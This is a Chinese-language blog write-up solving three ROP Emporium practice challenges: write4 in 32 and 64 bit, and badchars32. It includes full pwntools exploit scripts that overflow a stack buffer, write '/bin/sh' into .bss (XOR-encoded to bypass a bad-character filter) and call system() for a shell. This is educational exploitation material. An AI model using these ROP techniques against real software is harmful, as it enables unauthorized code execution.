ROPEmporium-WriteUp
2018/07/12

最近在看堆系列 最近的wp都是大家有疑惑 我自己也有点不明白的题目 所以再次记录

write432

检查保护

ubuntu@ubuntu:~$ checksec write432
[*] '/home/ubuntu/write432'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX 开启

载入ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("write4 by ROP Emporium");
  puts("32bits\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

看到main函数中调用了一个pwnme() 猜测漏洞应该在此

跟进查看pwnme

char *pwnme()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  puts("Go ahead and give me the string already!");
  printf("> ");
  return fgets(&s, 512, stdin); //存在漏洞
}

程序没有提供shell 但是调用了system

int usefulFunction()
{
  return system("/bin/ls");
}

这里调用/bin/ls 但是我们想要的是/bin/sh 所以我们要利用rop想办法构造/bin/sh 并参给system

尝试使用ROPgadget搜索

ubuntu@ubuntu:~$ ROPgadget --binary write432 --only "pop|ret"
Gadgets information
============================================================
0x080486db : pop ebp ; ret
0x080486d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483e1 : pop ebx ; ret
0x080486da : pop edi ; pop ebp ; ret
0x080486d9 : pop esi ; pop edi ; pop ebp ; ret
0x0804819d : ret
0x080484fe : ret 0xeac1

Unique gadgets found: 7
ubuntu@ubuntu:~$ ROPgadget --binary write432 --only "mov|ret"
Gadgets information
============================================================
0x08048547 : mov al, byte ptr [0xc9010804] ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080484b0 : mov ebx, dword ptr [esp] ; ret
0x0804819d : ret
0x080484fe : ret 0xeac1

Unique gadgets found: 5
ubuntu@ubuntu:~$ 
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

ROP构造思路

先计算偏移

gef➤  p/d 0x28+4
$5 = 44

得到偏移为44

pop_edi_ebp=0x080486da # pop edi ; pop ebp ; ret
mov_ret=0x08048670 # mov dword ptr [edi], ebp ; ret
system_plt=0x8048430
bss = elf.bss() #获取bss段地址


payload = 'A'*44+p32(pop_edi_ebp)+p32(bss)+"/bin"+p32(mov_ret)

payload += p32(pop_edi_ebp)+p32(bss+4)+"/sh"+p32(mov_ret)

payload +=p32(system_plt)+p32(1553155)+p32(bss)

因为32位寄存器最多只能写4字节,而/bin/sh为7字节 所以我们分两次写入

覆盖偏移到ret + 覆盖ret为pop_edi_ebp+将bss地址写入edi+将/bin写入ebp+将ebp的内容写入bss段

覆盖ret到pop_edi_ebp+将bss+4的地址写入edi(因为bss段前4个地址写入了/bin所以这里为了拼接从bss+4的位置开始写入)+将/sh写入ebp+将ebp的内容写入bss段

覆盖返回地址为system地址+写如system返回地址 可以任意写 +system调用参数的地址 此处存放地址为bss

所以可以得到exp

from pwn import *

p = process('write432')
elf =ELF('write432')

bss = elf.bss()
pop_edi_ebp=0x080486da
mov_ret=0x08048670
system_plt=0x8048430
payload = 'A'*44+p32(pop_edi_ebp)+p32(bss)+"/bin"+p32(mov_ret)
payload += p32(pop_edi_ebp)+p32(bss+4)+"/sh\x00"+p32(mov_ret)

payload +=p32(system_plt)+p32(1553155)+p32(bss)
p.sendline(payload)
p.interactive()

尝试运行

1

write464

题目基本流程和上一道类似

所以这里直接从ROP构造开始讲解

gef➤  p/d 0x20+8
$2 = 40

所以得到偏移为40

尝试用ROPgadget搜索可用的gadget

ubuntu@ubuntu:~$ ROPgadget --binary write4 --only "pop|mov|ret"
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

Unique gadgets found: 16

接下来进行构造

pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret
mov_ret = 0x0000000000400820 # mov qword ptr [r14], r15 ; ret
pop_rdi=0x0000000000400893 # pop rdi ; ret
system_plt =0x00000000004005E0
bss = elf.bss() #获取bss段地址

payload = 'A'*40+p64(pop_r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov_ret)

payload += p64(pop_rdi)+p64(bss)+p64(system_plt)

因为64位下可写入8字节而/bin/sh为7字节所以可以一次写入

覆盖偏移到ret+覆盖ret为pop_r14_r15+将bss地址写入r14+将/bin/sh\x00写入r15+将r15内容写到r14(bss)处

由于64位所以binsh地址参数需要放在rdi寄存器中,覆盖ret为pop_rdi+将bss地址写入rdi+写入system并调用rdi参数

所以可以构造exp

from pwn import *

p = process('write4')

elf = ELF('write4')
pop_r14_r15 = 0x0000000000400890
mov_ret = 0x0000000000400820 
system_plt =0x00000000004005E0
pop_rdi=0x0000000000400893
bss = elf.bss()
payload = 'A'*40+p64(pop_r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov_ret)
payload += p64(pop_rdi)+p64(bss)+p64(system_plt)

p.sendline(payload)
p.interactive()

尝试运行

2

成功获得shell

badchars32

检查保护

ubuntu@ubuntu:~$ checksec badchars32
[*] '/home/ubuntu/badchars32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX开启 32位程序

载入ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("badchars by ROP Emporium");
  puts("32bits\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

看到main函数调用了pwnme函数 所以我们跟进看下

void pwnme()
{
  char *v0; // ST1C_4
  int n; // ST18_4
  void *s; // [esp+Ch] [ebp-2Ch]
  int v3; // [esp+10h] [ebp-28h]

  s = malloc(0x200u);
  if ( !s )
    exit(1);
  memset(s, 0, 0x200u);
  memset(&v3, 0, 0x20u);
  puts("badchars are: b i c / <space> f n s");
  printf("> ");
  v0 = fgets((char *)s, 512, stdin);
  n = nstrlen((int)v0, 0x200u);
  checkBadchars((int)v0, n);
  memcpy(&v3, v0, n);//存在漏洞 
  free(v0);
}

我们先看pwnme 函数都有哪些操作

接收到我们传入的字符串到v0

然后执行了一个nstrlen函数()传入长度为200字节

跟进分析

int __cdecl nstrlen(int a1, unsigned int a2)
{
  unsigned int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i < a2; ++i )
  {
    if ( *(a1 + i) == 10 )
      return i + 1;
  }
  return i;
}
.text:080487D8 v0:                                     ; CODE XREF: nstrlen+38↓j
.text:080487D8                 mov     edx, [ebp+arg_0]
.text:080487DB                 mov     eax, [ebp+var_4]
.text:080487DE                 add     eax, edx
.text:080487E0                 movzx   eax, byte ptr [eax]
.text:080487E3                 cmp     al, 0Ah
.text:080487E5                 jnz     short loc_80487F0
.text:080487E7                 add     [ebp+var_4], 1
.text:080487EB                 mov     eax, [ebp+var_4]
.text:080487EE                 jmp     short locret_80487FF
.text:080487F0 ; ---------------------------------------------------------------------------
.text:080487F0
.text:080487F0 loc_80487F0:                            ; CODE XREF: nstrlen+23↑j
.text:080487F0                 add     [ebp+var_4], 1
.text:080487F4
.text:080487F4 loc_80487F4:                            ; CODE XREF: nstrlen+14↑j
.text:080487F4                 mov     eax, [ebp+var_4]
.text:080487F7                 cmp     eax, [ebp+arg_4]
.text:080487FA                 jb      short v0
.text:080487FC                 mov     eax, [ebp+var_4]
.text:080487FF
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

这段代码主要是在循环执行080487D8-到080487FA的内容 看到cmp这里的0xa

可以查询0x0a的相关信息,因为ebp+var_4的值一直在更新 所以这里的nstrlen函数应该就是在检测输入字符串的个数。

0xA(十六进制数)=10(十进制数)
对应的字符为“控制字符”LF  (NL line feed, new line):移行,换行。
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

在执行完字符个数检测(nstrlen)之后又执行了checkBadchars 我们来跟进分析一下

  v3 = 'b';
  v4 = 'i';
  v5 = 'c';
  v6 = '/';
  v7 = ' ';
  v8 = 'f';
  v9 = 'n';
  v10 = 's';
  j = 0;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    for ( j = 0; j <= 7; ++j )
    {
      if ( *(a1 + i) == *(&v3 + j) )
      {
        *(a1 + i) = -21;
        break;
      }
    }

看到v3-v10就是函数检查的badchars 我们再通过汇编查看

.text:08048847
.text:08048847 loc_8048847:                            ; CODE XREF: checkBadchars+75↓j
.text:08048847                 mov     edx, [ebp+arg_0]
.text:0804884A                 mov     eax, [ebp+var_4]
.text:0804884D                 add     eax, edx
.text:0804884F                 movzx   edx, byte ptr [eax]
.text:08048852                 lea     ecx, [ebp+var_10]
.text:08048855                 mov     eax, [ebp+var_8]
.text:08048858                 add     eax, ecx
.text:0804885A                 movzx   eax, byte ptr [eax]
.text:0804885D                 cmp     dl, al
.text:0804885F                 jnz     short loc_804886E
.text:08048861                 mov     edx, [ebp+arg_0]
.text:08048864                 mov     eax, [ebp+var_4]
.text:08048867                 add     eax, edx
.text:08048869                 mov     byte ptr [eax], 0EBh
.text:0804886C                 jmp     short loc_8048878

这里循环对输入的字符又进行了比较 如果出现上述字符串就会替换该字符串为0xEB

利用思路

因为题目和之前write4题目类似 所以这里从rop构造开始讲起

可是题目又对输入的字符进行检查了 我们现在想要的是/bin/sh 可是check函数中过滤了 b i n / s所以不能直接传入/bin/sh 不过题目中给了这样的提示

text:08048890                 public usefulGadgets
.text:08048890 usefulGadgets:
.text:08048890                 xor     [ebx], cl
.text:08048892                 retn
.text:08048893 ; ---------------------------------------------------------------------------
.text:08048893                 mov     [edi], esi
.text:08048895                 retn
.text:08048896 ; ---------------------------------------------------------------------------
.text:08048896                 pop     ebx
.text:08048897                 pop     ecx
.text:08048898                 retn
.text:08048899 ; ---------------------------------------------------------------------------
.text:08048899                 pop     esi
.text:0804889A                 pop     edi
.text:0804889B                 retn

usefulGadgets 这里给了你xor提示, 既然有了这个gadget,我们可以利用先对/bin/sh进行xor加密来通过check ,然后通过usefulGadgets 来进行解密 接着调用即可

ROP构造

mov_ret = 0x08048893 # mov dword ptr [edi], esi ; ret

pop_esi_edi = 0x08048899 # pop esi ; pop edi ; ret

pop_ebx_ecx=0x08048896 #pop ebx ; pop ecx ; ret
xor_ebx=0x08048890 #xor byte ptr [ebx], cl ; ret
payload = 'A'*44+p32(pop_esi_edi)+binsh[:4]+p32(bss)+p32(mov_ret)
payload += p32(pop_esi_edi) + binsh[4:8]+p32(bss+4)+p32(mov_ret)

//解密操作
for i in range(len(binsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss+i)
    payload += p32(xor_byte)
    payload += p32(xor_ebx)

payload += p32(system_plt)+p32(1553)+p32(bss)

覆盖偏移到ret+覆盖ret为pop_esi_edi+写入binsh中的前四字节(加密后的/bin)到esi 因为32位程序寄存器最大只能存4字节+写入bss段地址到edi+将esi内容写到edi中 mov_ret

覆盖ret为pop_esi_edi+写入binsh中的后四字节(加密后的/sh\x00)到esi+写入bss段+4地址到edi(因为前4字节写入了/bin)+写入bss段+4地址到edi+将esi内容写到edi中 mov_ret

解密操作 下面有解释

写入system_plt+构造任意返回地址+当前解密(/bin/sh)过后的bss段地址

xor加解密操作

xor加密操作
badchars = [0x62,0x69,0x63,0x2F,0x20,0x66,0x6E,0x73]
xor_byte = 0x1
while(1):
    binsh = ""
    for i in "/bin/sh\x00":
        c = ord(i) ^ xor_byte
        if c in badchars:
            xor_byte += 1
            break
        else:
            binsh += chr(c)
    if len(binsh) == 8:
        break
xor解密操作
pop_ebx_ecx=0x08048896 #pop ebx ; pop ecx ; ret
xor_ebx=0x08048890 #xor byte ptr [ebx], cl ; ret
for i in range(len(binsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss+i)
    payload += p32(xor_byte)
    payload += p32(xor_ebx)

解密操作:当我们利用rop将加密过得/bin/sh写入到bss段之后 逐个进行解密

exp

from pwn import *

p = process('badchars32')
elf =ELF('badchars32')
badchars = [0x62,0x69,0x63,0x2F,0x20,0x66,0x6E,0x73]
bss = elf.bss()
xor_byte = 0x1
system_plt = 0x080484E0
while(1):
    binsh = ""
    for i in "/bin/sh\x00":
        c = ord(i) ^ xor_byte
        if c in badchars:
            xor_byte += 1
            break
        else:
            binsh += chr(c)
    if len(binsh) == 8:
        break


mov_ret = 0x08048893 # mov dword ptr [edi], esi ; ret

pop_esi_edi = 0x08048899 # pop esi ; pop edi ; ret

pop_ebx_ecx=0x08048896 #pop ebx ; pop ecx ; ret
xor_ebx=0x08048890 #xor byte ptr [ebx], cl ; ret
payload = 'A'*44+p32(pop_esi_edi)+binsh[:4]+p32(bss)+p32(mov_ret)
payload += p32(pop_esi_edi) + binsh[4:8]+p32(bss+4)+p32(mov_ret)

for i in range(len(binsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss+i)
    payload += p32(xor_byte)
    payload += p32(xor_ebx)

payload += p32(system_plt)+p32(1553)+p32(bss)

p.sendline(payload)
p.interactive()

尝试运行

3

成功拿到shell

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!